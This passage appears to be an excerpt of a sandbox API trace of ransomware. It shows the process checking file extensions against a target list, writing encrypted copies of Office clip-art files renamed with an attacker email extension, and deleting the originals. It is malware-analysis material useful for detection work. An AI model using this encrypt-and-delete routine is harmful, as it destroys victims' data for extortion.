(lpString1=".xls", lpString2=".WMF") returned 1 [0288.281] lstrlenW (lpString=".xlsx") returned 5 [0288.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.281] lstrlenW (lpString=".ppt") returned 4 [0288.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.281] lstrlenW (lpString=".zip") returned 4 [0288.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.281] lstrlenW (lpString=".rar") returned 4 [0288.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString=".bz2") returned 4 [0288.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString=".7z") returned 3 [0288.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.281] lstrlenW (lpString=".dbf") returned 4 [0288.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.282] lstrlenW (lpString=".1cd") returned 4 [0288.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.282] lstrlenW (lpString=".jpg") returned 4 [0288.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.282] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.282] lstrlenW (lpString="BS00092_.WMF") returned 12 [0288.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0288.307] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=7974) returned 1 [0288.307] CloseHandle (hObject=0x10a8) returned 1 [0288.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0288.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0288.307] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.307] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0288.308] GetLastError () returned 0x0 [0288.308] ReadFile (in: hFile=0x10a8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x1f26, lpOverlapped=0x0) returned 1 [0288.337] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x1f30, lpOverlapped=0x0) returned 1 [0288.339] ReadFile (in: hFile=0x10a8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.339] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.339] SetEndOfFile (hFile=0x10d0) returned 1 [0288.339] CloseHandle (hObject=0x10d0) returned 1 [0288.341] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.341] SetEndOfFile (hFile=0x10a8) returned 1 [0288.341] CloseHandle (hObject=0x10a8) returned 1 [0288.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0288.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.342] lstrlenW (lpString=".doc") returned 4 [0288.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.342] lstrlenW (lpString=".docx") returned 5 [0288.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.342] lstrlenW (lpString=".pdf") returned 4 [0288.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString=".xls") returned 4 [0288.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.343] lstrlenW (lpString=".xlsx") returned 5 [0288.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.343] lstrlenW (lpString=".ppt") returned 4 [0288.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString=".zip") returned 4 [0288.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.343] lstrlenW (lpString=".rar") returned 4 [0288.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString=".bz2") returned 4 [0288.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString=".7z") returned 3 [0288.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString=".dbf") returned 4 [0288.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString=".1cd") returned 4 [0288.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString=".jpg") returned 4 [0288.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.343] lstrlenW (lpString=".doc") returned 4 [0288.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString=".docx") returned 5 [0288.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.343] lstrlenW (lpString=".pdf") returned 4 [0288.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.343] lstrlenW (lpString=".xls") returned 4 [0288.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.344] lstrlenW (lpString=".xlsx") returned 5 [0288.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.344] lstrlenW (lpString=".ppt") returned 4 [0288.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.344] lstrlenW (lpString=".zip") returned 4 [0288.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.344] lstrlenW (lpString=".rar") returned 4 [0288.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.344] lstrlenW (lpString=".bz2") returned 4 [0288.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.344] lstrlenW (lpString=".7z") returned 3 [0288.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.344] lstrlenW (lpString=".dbf") returned 4 [0288.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.344] lstrlenW (lpString=".1cd") returned 4 [0288.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0288.344] lstrlenW (lpString=".jpg") returned 4 [0288.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.344] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.344] lstrlenW (lpString="BS00135_.WMF") returned 12 [0288.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0288.345] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1044) returned 1 [0288.345] CloseHandle (hObject=0x10a8) returned 1 [0288.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0288.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0288.345] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.345] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0288.346] GetLastError () returned 0x0 [0288.346] ReadFile (in: hFile=0x10a8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x414, lpOverlapped=0x0) returned 1 [0288.624] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x420, lpOverlapped=0x0) returned 1 [0288.944] ReadFile (in: hFile=0x10a8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.944] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.945] SetEndOfFile (hFile=0x10d0) returned 1 [0288.945] CloseHandle (hObject=0x10d0) returned 1 [0288.945] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.945] SetEndOfFile (hFile=0x10a8) returned 1 [0288.946] CloseHandle (hObject=0x10a8) returned 1 [0288.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0289.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.089] lstrlenW (lpString=".doc") returned 4 [0289.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.089] lstrlenW (lpString=".docx") returned 5 [0289.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.089] lstrlenW (lpString=".pdf") returned 4 [0289.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.089] lstrlenW (lpString=".xls") returned 4 [0289.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.089] lstrlenW (lpString=".xlsx") returned 5 [0289.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.089] lstrlenW (lpString=".ppt") returned 4 [0289.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.089] lstrlenW (lpString=".zip") returned 4 [0289.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.089] lstrlenW (lpString=".rar") returned 4 [0289.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.089] lstrlenW (lpString=".bz2") returned 4 [0289.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString=".7z") returned 3 [0289.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString=".dbf") returned 4 [0289.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString=".1cd") returned 4 [0289.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString=".jpg") returned 4 [0289.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString=".doc") returned 4 [0289.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString=".docx") returned 5 [0289.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.090] lstrlenW (lpString=".pdf") returned 4 [0289.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString=".xls") returned 4 [0289.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.090] lstrlenW (lpString=".xlsx") returned 5 [0289.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.090] lstrlenW (lpString=".ppt") returned 4 [0289.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.090] lstrlenW (lpString=".zip") returned 4 [0289.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.090] lstrlenW (lpString=".rar") returned 4 [0289.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.090] lstrlenW (lpString=".bz2") returned 4 [0289.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.091] lstrlenW (lpString=".7z") returned 3 [0289.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.091] lstrlenW (lpString=".dbf") returned 4 [0289.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.091] lstrlenW (lpString=".1cd") returned 4 [0289.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0289.091] lstrlenW (lpString=".jpg") returned 4 [0289.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.091] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.091] lstrlenW (lpString="BS01638_.WMF") returned 12 [0289.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0289.091] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=10538) returned 1 [0289.091] CloseHandle (hObject=0x109c) returned 1 [0289.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0289.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0289.092] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.092] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0289.093] GetLastError () returned 0x0 [0289.093] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x292a, lpOverlapped=0x0) returned 1 [0289.839] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x2930, lpOverlapped=0x0) returned 1 [0289.840] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.840] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0289.840] SetEndOfFile (hFile=0x10c0) returned 1 [0289.840] CloseHandle (hObject=0x10c0) returned 1 [0289.840] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.840] SetEndOfFile (hFile=0x109c) returned 1 [0289.841] CloseHandle (hObject=0x109c) returned 1 [0289.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString=".doc") returned 4 [0289.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString=".docx") returned 5 [0289.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.842] lstrlenW (lpString=".pdf") returned 4 [0289.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString=".xls") returned 4 [0289.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.842] lstrlenW (lpString=".xlsx") returned 5 [0289.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.842] lstrlenW (lpString=".ppt") returned 4 [0289.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString=".zip") returned 4 [0289.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.842] lstrlenW (lpString=".rar") returned 4 [0289.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString=".bz2") returned 4 [0289.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString=".7z") returned 3 [0289.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString=".dbf") returned 4 [0289.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString=".1cd") returned 4 [0289.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.842] lstrlenW (lpString=".jpg") returned 4 [0289.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString=".doc") returned 4 [0289.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString=".docx") returned 5 [0289.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.843] lstrlenW (lpString=".pdf") returned 4 [0289.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString=".xls") returned 4 [0289.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.843] lstrlenW (lpString=".xlsx") returned 5 [0289.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.843] lstrlenW (lpString=".ppt") returned 4 [0289.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft 